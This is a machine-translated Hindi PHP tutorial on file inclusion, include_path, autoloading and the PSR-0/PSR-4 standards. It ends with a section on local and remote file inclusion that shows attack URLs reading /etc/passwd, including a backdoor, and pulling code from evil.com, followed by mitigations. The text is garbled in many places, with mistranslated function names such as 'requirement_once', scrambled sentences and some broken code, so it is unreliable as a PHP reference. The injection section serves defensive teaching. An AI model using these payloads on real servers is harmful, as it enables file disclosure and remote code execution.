शुरुआती के लिए PHP। फ़ाइल कनेक्शन

छवि


PHP फॉर बिगिनर्स श्रृंखला की निरंतरता में, आज का लेख PHP की खोज और फाइलों को जोड़ने के तरीके पर ध्यान केंद्रित करेगा।

क्यों और क्यों


PHP एक स्क्रिप्टिंग भाषा है जो शुरुआत में होम पेजों की त्वरित मूर्तिकला के लिए बनाई गई थी (हाँ, हाँ यह मूल रूप से P ersonal H ome P Age Tools थी), और बाद में इसने अपने घुटने पर दुकानें, सामाजिक कार्यक्रम और अन्य शिल्प बनाना शुरू कर दिया जो उस उद्देश्य से परे थे। , लेकिन मैं क्यों हूं - और यह तथ्य कि अधिक कार्यक्षमता एन्कोडेड है, अधिक से अधिक इसे सही ढंग से संरचना करने की इच्छा है, कोड दोहराव से छुटकारा पाएं, इसे तार्किक टुकड़ों में तोड़ दें और केवल आवश्यक होने पर कनेक्ट करें (यह वही भावना है जो आपके पास तब थी आप इसे पहले पढ़ें स्थिति, इसे अलग टुकड़ों में तोड़ा जा सकता है)। इस उद्देश्य के लिए, PHP के कई कार्य हैं, जिनमें से सामान्य अर्थ निर्दिष्ट फ़ाइल को कनेक्ट और व्याख्या करना है। चलिए फाइलों को जोड़ने के एक उदाहरण को देखते हैं:

// file variable.php $a = 0; // file increment.php $a++; // file index.php include ('variable.php'); include ('increment.php'); include ('increment.php'); echo $a; 

यदि आप index.php स्क्रिप्ट चलाते हैं, तो PHP इस क्रम में सभी कनेक्ट और निष्पादित करेगा:

 $a = 0; $a++; $a++; echo $a; //  2 

जब कोई फ़ाइल कनेक्ट होती है, तो उसका कोड उसी स्कोप में होता है जिस लाइन में वह कनेक्टेड था, इसलिए इस लाइन में उपलब्ध सभी वैरिएबल शामिल फ़ाइल में उपलब्ध होंगे। यदि शामिल फ़ाइल में कक्षाएं या फ़ंक्शन घोषित किए गए थे, तो वे वैश्विक दायरे में आते हैं (जब तक कि उनके लिए एक नाम स्थान निर्दिष्ट नहीं किया गया था)।

यदि आप फ़ंक्शन के अंदर फ़ाइल कनेक्ट करते हैं, तो शामिल फ़ाइलों को फ़ंक्शन के दायरे तक पहुंच मिलती है, इसलिए निम्न कोड भी काम करेगा:

 function() { $a = 0; include ('increment.php'); include ('increment.php'); echo $a; } a(); //  2 

अलग से, मैं जादू स्थिरांक पर ध्यान देता हूं: __DIR__ , __FILE__ , __LINE__ और अन्य - वे संदर्भ से बंधे हैं और शामिल होने से पहले निष्पादित होते हैं
कनेक्ट करने वाली फ़ाइलों की ख़ासियत यह है कि फ़ाइल कनेक्ट करते समय, HTML मोड में स्विच करना, इस कारण से शामिल फ़ाइल के अंदर कोई भी कोड PHP टैग में संलग्न होना चाहिए:

 <?php //   // ... // ?> 

यदि आपके पास फ़ाइल में केवल PHP कोड है, तो समापन टैग को छोड़ना प्रथागत है, इसलिए समापन टैग के बाद गलती से पात्रों के किसी भी धागे को मत भूलना, जो समस्याओं से भरा है (मैं अगले लेख में इस पर चर्चा करूंगा)।
क्या आपने 10,000 लाइनों वाली साइट फ़ाइल देखी है? मेरी आँखों में पहले से ही आँसू थे (╥_ t) ...

फ़ाइल कनेक्शन सुविधाएँ


जैसा कि ऊपर उल्लेख किया गया है, PHP में फ़ाइलों को जोड़ने के लिए कई कार्य हैं:

  • शामिल करें - निर्दिष्ट फ़ाइल को शामिल और निष्पादित करता है, अगर यह नहीं मिलता है - यह एक अलर्ट देता है E_WARNING
  • शामिल_ऑन - उपरोक्त फ़ंक्शन के समान, लेकिन फ़ाइल को एक बार शामिल करें
  • आवश्यकता - इसमें निर्दिष्ट फ़ाइल शामिल और निष्पादित होती है , अगर यह नहीं मिलती है - यह एक घातक त्रुटि देता है E_ERROR
  • requirement_once - उपरोक्त फ़ंक्शन के समान, लेकिन इसमें एक बार फ़ाइल भी शामिल है

वास्तव में, ये बिल्कुल कार्य नहीं हैं, वे विशेष भाषा निर्माण हैं, और कोष्ठक को छोड़ा जा सकता है। अन्य बातों के अलावा, फ़ाइलों को जोड़ने और निष्पादित करने के अन्य तरीके हैं, लेकिन इसे स्वयं खोदें, इसे आपके लिए "तारांकन के साथ कार्य" होने दें;)
आइए require और requirement_once के बीच अंतर का एक उदाहरण लेते हैं, एक echo.php फ़ाइल लेते हैं:

 <p>text of file echo.php</p> 

और हम इसे कई बार जोड़ेंगे:

 <?php //     //  1 require_once 'echo.php'; //    , ..   //  true require_once 'echo.php'; //     //  1 require 'echo.php'; 

निष्पादन का परिणाम echo.php फ़ाइल के दो कनेक्शन होंगे:

 <p>text of file echo.php</p> <p>text of file echo.php</p> 

कुछ और निर्देश हैं जो कनेक्शन को प्रभावित करते हैं, लेकिन आपको उनकी आवश्यकता नहीं है - auto_prepend_file और auto_append_file । ये निर्देश आपको उन फ़ाइलों को स्थापित करने की अनुमति देते हैं जो सभी फ़ाइलों से जुड़े होने से पहले जुड़ी होंगी और सभी स्क्रिप्ट्स क्रमशः निष्पादित होने के बाद। आवश्यकता पड़ने पर मैं "लाइव" परिदृश्य के साथ भी नहीं आ सकता।

कार्य
आप auto_append_file और auto_append_file का उपयोग करने के लिए स्क्रिप्ट के साथ आ सकते हैं और कार्यान्वित कर सकते हैं, आप उन्हें केवल php.ini , .htaccess या httpd.conf ( PHP_ini_PERDIR देखें) में बदल सकते हैं :)

कहाँ देख रहा है?


PHP के लिए खोज में शामिल निर्देशिका में फ़ाइलें शामिल हैं_पाठ निर्देश। यह निर्देश fopen() , file() , readfile() और file_get_contents() के संचालन को भी प्रभावित करता है। एल्गोरिथ्म काफी सरल है - जब फ़ाइलों की खोज होती है, PHP प्रत्येक निर्देशिका को include_path से बदल देता है, जब तक कि इसे कनेक्ट करने के लिए एक फ़ाइल नहीं मिलती है, अगर यह नहीं होता है, तो यह एक त्रुटि देता है। एक स्क्रिप्ट से include_path को बदलने के लिए, set_include_path () फ़ंक्शन का उपयोग करें।

इसमें शामिल करने पर विचार करने के लिए एक महत्वपूर्ण बात है, जिसमें शामिल include_path - अलग-अलग पात्रों का उपयोग विंडोज और लिनक्स पर पथ विभाजक के रूप में किया जाता है - ";" और ":" क्रमशः, इसलिए अपनी निर्देशिका निर्दिष्ट करते समय, उदाहरण के लिए, PATH_SEPARATOR स्थिरांक का उपयोग करें:

 //    linux $path = '/home/dev/library'; //    windows $path = 'c:\Users\Dev\Library'; //  linux  windows   include_path  set_include_path(get_include_path() . PATH_SEPARATOR . $path); 

जब आप एक ini फ़ाइल में include_path लिखते हैं, तो आप ${USER} जैसे पर्यावरण चर का उपयोग कर सकते हैं:

include_path = ".:${USER}/my-php-library"


यदि आप फ़ाइल को कनेक्ट करते समय एक पूर्ण पथ ("/" के साथ शुरू) या रिश्तेदार (""। "या" .. ") को शामिल करते हैं, तो include_path निर्देश को अनदेखा किया जाएगा, और खोज केवल निर्दिष्ट पथ पर की जाएगी।
शायद safe_mode के बारे में बात करना सार्थक होगा, लेकिन यह लंबे समय से एक कहानी है (संस्करण 5.4 से), और मुझे आशा है कि आप इसका सामना नहीं करेंगे, लेकिन अगर अचानक, तो यह जानने के लिए कि यह क्या था, लेकिन यह पारित हो गया ...

वापसी का उपयोग करना


मैं आपको एक छोटे से जीवन-हैक के बारे में बताऊंगा - यदि शामिल फ़ाइल रिटर्न कंस्ट्रक्शन का उपयोग करके कुछ देता है, तो यह डेटा प्राप्त किया जा सकता है और उपयोग किया जा सकता है, इसलिए आप आसानी से कॉन्फ़िगरेशन फ़ाइलों के कनेक्शन को व्यवस्थित कर सकते हैं, मैं उदाहरण के लिए एक उदाहरण दूंगा:

 return [ 'host' => 'localhost', 'user' => 'root', 'pass' => '' ]; 

 $dbConfig = require 'config/db.php'; var_dump($dbConfig); /* array( 'host' => 'localhost', 'user' => 'root', 'pass' => '' ) */ 

दिलचस्प तथ्य, जिसके बिना यह भी अच्छा था: यदि फ़ंक्शन शामिल फ़ाइल में परिभाषित किए गए हैं, तो उन्हें मुख्य फ़ाइल में उपयोग किया जा सकता है, भले ही वे वापसी से पहले या बाद में घोषित किए गए हों
कार्य
कोड लिखें जो कई फ़ोल्डर्स और फ़ाइलों से कॉन्फ़िगरेशन एकत्र करेगा। फ़ाइल संरचना इस प्रकार है:

 config |-- default | |-- db.php | |-- debug.php | |-- language.php | `-- template.php |-- development | `-- db.php `-- production |-- db.php `-- language.php 

इस स्थिति में, कोड निम्नानुसार काम करना चाहिए:

  • यदि सिस्टम वातावरण में PROJECT_PHP_SERVER चर है और यह development बराबर है, तो डिफ़ॉल्ट फ़ोल्डर से सभी फ़ाइलों को जोड़ा जाना चाहिए, डेटा को $config चर में शामिल किया जाना चाहिए, फिर विकास फ़ोल्डर से फ़ाइलों को जोड़ा जाना चाहिए, और प्राप्त डेटा को $config में संग्रहीत संबंधित वस्तुओं को पीसना चाहिए।
  • समान व्यवहार यदि PROJECT_PHP_SERVER production (स्वाभाविक रूप से केवल उत्पादन फ़ोल्डर के लिए)
  • यदि कोई चर नहीं है, या यह गलत तरीके से सेट है, तो केवल डिफ़ॉल्ट फ़ोल्डर से फाइलें जुड़ी हुई हैं


ऑटो कनेक्ट


फ़ाइल अटैचमेंट के साथ निर्माण बहुत भारी दिखते हैं, और उनके अपडेट का पालन भी करते हैं - एक और उपहार, अपवाद के बारे में उदाहरण लेख से कोड का एक टुकड़ा देखें :

 // load all files w/out autoloader require_once 'Education/Command/AbstractCommand.php'; require_once 'Education/CommandManager.php'; require_once 'Education/Exception/EducationException.php'; require_once 'Education/Exception/CommandManagerException.php'; require_once 'Education/Exception/IllegalCommandException.php'; require_once 'Education/RequestHelper.php'; require_once 'Education/Front.php'; 

इस तरह की "खुशी" से बचने का पहला प्रयास __autoload फ़ंक्शन की उपस्थिति थी। अधिक सटीक रूप से, यह एक विशिष्ट फ़ंक्शन भी नहीं था, आपको इस फ़ंक्शन को स्वयं परिभाषित करना था, और इसके साथ आपको उन फ़ाइलों को कनेक्ट करने की आवश्यकता थी जो हमें क्लास नाम से चाहिए। एकमात्र नियम यह था कि प्रत्येक वर्ग के लिए एक अलग फ़ाइल को वर्ग के नाम से बनाया जाना चाहिए (यानी myClass myClass.php फ़ाइल के अंदर होना चाहिए)। इस तरह के एक समारोह के कार्यान्वयन का एक उदाहरण __autoload() (आधिकारिक मैनुअल पर टिप्पणियों से लिया गया है):

जिस वर्ग से हम जुड़ेंगे:

 //  myClass    myClass.php class myClass { public function __construct() { echo "myClass init'ed successfuly!!!"; } } 

फ़ाइल जो इस वर्ग को जोड़ती है:

 //   //     include_path function __autoload($classname) { $filename = $classname .".php"; include_once $filename; } //   $obj = new myClass(); 

अब इस फ़ंक्शन के साथ समस्याओं के बारे में - ऐसी स्थिति की कल्पना करें जहां आप तृतीय-पक्ष कोड कनेक्ट कर रहे हैं, और वहां किसी ने पहले से ही __autoload() फ़ंक्शन को आपके कोड, और __autoload() पंजीकृत किया है:

 Fatal error: Cannot redeclare __autoload() 

इससे बचने के लिए, हमने एक फ़ंक्शन बनाया जो आपको एक क्लास लोडर के रूप में एक मनमाना फ़ंक्शन या विधि दर्ज करने की अनुमति देता है - spl_autoload -register । यानी हम लोडिंग कक्षाओं के लिए एक मनमाना नाम के साथ कई कार्य बना सकते हैं, और उन्हें spl_autoload_register का उपयोग करके पंजीकृत कर spl_autoload_register । अब index.php इस तरह दिखेगा:

 //   //     include_path function myAutoload($classname) { $filename = $classname .".php"; include_once($filename); } //   spl_autoload_register('myAutoload'); //   $obj = new myClass(); 

शीर्षक "क्या आप जानते हैं?": पहला पैरामीटर spl_autoload_register() वैकल्पिक है, और इसके बिना फ़ंक्शन को कॉल करना, फ़ंक्शन spl_autoload लोडर के रूप में उपयोग किया जाएगा, खोज को .inc और फ़ाइलों से एक्सटेंशन .php और .inc साथ फ़ोल्डरों पर किया जाएगा, लेकिन यह सूची को spl_autoload_extensions फ़ंक्शन का उपयोग करके विस्तारित किया जा सकता है
अब प्रत्येक डेवलपर अपने लोडर को पंजीकृत कर सकता है, मुख्य बात यह है कि वर्ग के नाम मेल नहीं खाते हैं, लेकिन यदि आप नेमस्पेस का उपयोग करते हैं तो यह समस्या नहीं होनी चाहिए।
चूंकि spl_autoload_register() रूप में इस तरह की एक उन्नत कार्यक्षमता लंबे समय से अस्तित्व में है, spl_autoload_register() फ़ंक्शन __autoload() पहले ही PHP 7.1 में पदावनत घोषित __autoload() चुका है, जिसका अर्थ है कि निकट भविष्य में यह फ़ंक्शन पूरी तरह से हटा दिया जाएगा (X_x)
अच्छी तरह से, कम या ज्यादा तस्वीर साफ हो गई, हालांकि हे, सभी पंजीकृत बूटलोडर्स को कतारबद्ध किया जाता है क्योंकि वे क्रमशः पंजीकृत हैं, अगर किसी ने उसे अपने बूटलोडर में धोखा दिया है, तो अपेक्षित परिणाम के बजाय, एक बहुत अप्रिय बग निकल जाएगा। इसे रोकने के लिए, वयस्क स्मार्ट लोगों ने एक मानक का वर्णन किया है जो आपको समस्याओं के बिना तीसरे पक्ष के पुस्तकालयों को जोड़ने की अनुमति देता है, मुख्य बात यह है कि उनमें कक्षाओं का संगठन PSR-0 मानक (यह पहले से ही 10 साल पुराना है) या PSR-4 का अनुपालन करता है। मानकों में वर्णित आवश्यकताओं का सार क्या है:

  1. प्रत्येक पुस्तकालय को अपने स्वयं के नामस्थान (तथाकथित विक्रेता नामस्थान) में रहना चाहिए
  2. प्रत्येक नामस्थान का अपना फ़ोल्डर होना चाहिए।
  3. नेमस्पेस के अंदर सब-स्पेस अलग-अलग फोल्डर में भी हो सकते हैं
  4. एक वर्ग - एक फ़ाइल
  5. एक्सटेंशन .php साथ फ़ाइल का नाम कक्षा के नाम से बिल्कुल मेल खाना चाहिए

मैनुअल से उदाहरण:
पूर्ण श्रेणी का नामनाम स्थानआधार निर्देशिकापूरा रास्ता
\ Acme \ Log \ Writer \ File_Writerएक्मे \ लोग \ _ राइटर./acme-log-writer/lib/./acme-log-writer/lib/File_Writer.php
\ Aura \ Web \ प्रतिक्रिया \ स्थितिआभा \ _ वेब/ पथ / से / आभा-वेब / src //path/to/aura-web/src/Response/Status.php
\ Symfony \ Core \ Requestसिम्फनी \ _ कोर./vendor/Symfony/Core/./vendor/Symfony/Core/Request.php
\ Zend \ AclZend/ usr / शामिल / Zend //usr/includes/Zend/Acl.php


इन दो मानकों के बीच अंतर यह है कि PSR-0 पुराने कोड को बिना नामस्थान (अर्थात, संस्करण 5.3.0 से पहले) का समर्थन करता है, और PSR-4 इस ऐक्रोनिज़्म से मुक्त है, और यहां तक ​​कि अनावश्यक फ़ोल्डर नेस्टिंग से भी बचता है।

इन मानकों के लिए धन्यवाद, संगीतकार के रूप में इस तरह के उपकरण का उदय संभव हो गया - PHP के लिए एक सार्वभौमिक पैकेज प्रबंधक। यदि कोई चूक गया है, तो इस उपकरण के बारे में pronskiy से एक अच्छी रिपोर्ट है।


Php इंजेक्शन


मैं उन सभी लोगों की पहली त्रुटि के बारे में भी बात करना चाहता था जो साइट के लिए एक index.php में एक एकल प्रविष्टि बिंदु बनाते हैं और इसे MVC फ्रेमवर्क कहते हैं:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (!is_file($page)) { die('Wrong filename'); } include $page; 

आप कोड को देखते हैं, और आप बस वहां कुछ दुर्भावनापूर्ण स्थानांतरण करना चाहते हैं:

 //     http://domain.com/index.php?page=../index.php //      http://domain.com/index.php?page=config.ini //    http://domain.com/index.php?page=/etc/passwd //  ,       http://domain.com/index.php?page=user/backdoor.php 

पहली बात जो मन में आती है वह है। सामान्य विकास भी सलाह देते हैं:

 //    http://domain.com/index.php?page=/etc/passwd%00 

PHP के आधुनिक संस्करणों में, कनेक्ट की गई फ़ाइल के पथ में एक शून्य बाइट चरित्र की उपस्थिति तुरंत संबंधित कनेक्शन त्रुटि की ओर ले जाती है, और भले ही निर्दिष्ट फ़ाइल मौजूद हो और कनेक्ट हो सकती है, परिणाम हमेशा एक त्रुटि होगी, इसे निम्न प्रकार से चेक किया गया है strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) (यह स्वयं PHP के strlen(Z_STRVAL_P(inc_filename)) != Z_STRLEN_P(inc_filename) से है)
दूसरा "सार्थक" सोचा वर्तमान निर्देशिका में एक फ़ाइल के लिए जाँच कर रहा है:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); if (strpos(realpath($page), __DIR__) !== 0) { die('Wrong path to file'); } include $page . '.php'; 

तीसरा, लेकिन चेक का अंतिम संशोधन नहीं है ओपन_बेडिर निर्देश का उपयोग, इसकी मदद से आप उस निर्देशिका को निर्दिष्ट कर सकते हैं जहां वास्तव में PHP कनेक्ट करने के लिए फ़ाइलों की खोज करेगा:

 <?php $page = $_GET['page'] ?? die('Wrong filename'); ini_set('open_basedir', __DIR__); include $page . '.php'; 

सावधान रहें, यह निर्देश न केवल फाइलों के कनेक्शन को प्रभावित करता है, बल्कि सभी फाइल सिस्टम के साथ काम करता है, अर्थात। इस प्रतिबंध सहित, आपको यह सुनिश्चित करना चाहिए कि आप निर्दिष्ट निर्देशिका के बाहर कुछ भी नहीं भूल गए हैं, न ही कैश्ड डेटा, और न ही कोई उपयोगकर्ता फ़ाइलें (हालांकि फ़ंक्शन is_uploaded_file() और move_uploaded_file() डाउनलोड की गई फ़ाइलों के लिए एक अस्थायी फ़ोल्डर के साथ काम करना जारी रखेगा)।
क्या अन्य जांच संभव हैं? बहुत सारे विकल्प, यह सब आपके आवेदन की वास्तुकला पर निर्भर करता है।

मैं "अद्भुत" allow_url_include निर्देश के अस्तित्व को याद करना चाहता था (यह allow_url_fopen पर निर्भर करता है), यह आपको दूरस्थ PHP फ़ाइलों को कनेक्ट करने और निष्पादित करने की अनुमति देता है, जो आपके सर्वर के लिए बहुत अधिक खतरनाक है:

 //   PHP  http://domain.com/index.php?page=http://evil.com/index.php 

देखा, याद रखें और कभी भी उपयोग न करें, लाभ डिफ़ॉल्ट रूप से बंद हो जाता है। आपको पहले कभी नहीं की तुलना में इस सुविधा की थोड़ी कम आवश्यकता होगी, अन्य सभी मामलों में, सही एप्लिकेशन आर्किटेक्चर बिछाएं, जहां एप्लिकेशन के विभिन्न भाग एपीआई के माध्यम से संवाद करते हैं।

कार्य
एक स्क्रिप्ट लिखें जो आपको संभावित कमजोरियों के बारे में याद करते हुए और यादों से बचने के लिए, वर्तमान फ़ोल्डर से नाम से php स्क्रिप्ट कनेक्ट करने की अनुमति देता है।

निष्कर्ष में


यह आलेख PHP में आधार-आधारित है, इसलिए ध्यान से अध्ययन करें, कार्यों को पूरा करें और फ़ाइल न करें, कोई भी आपके लिए नहीं सिखाएगा।

पुनश्च


यह लेख "PHP फॉर बिगिनर्स" की एक श्रृंखला से एक रिपॉस्ट है:


यदि आपके पास लेख की सामग्री पर या संभवतः रूप में टिप्पणियां हैं, तो टिप्पणियों में सार का वर्णन करें, और हम इस सामग्री को और बेहतर बनाएंगे।

Source: https://habr.com/ru/post/hi439618/


All Articles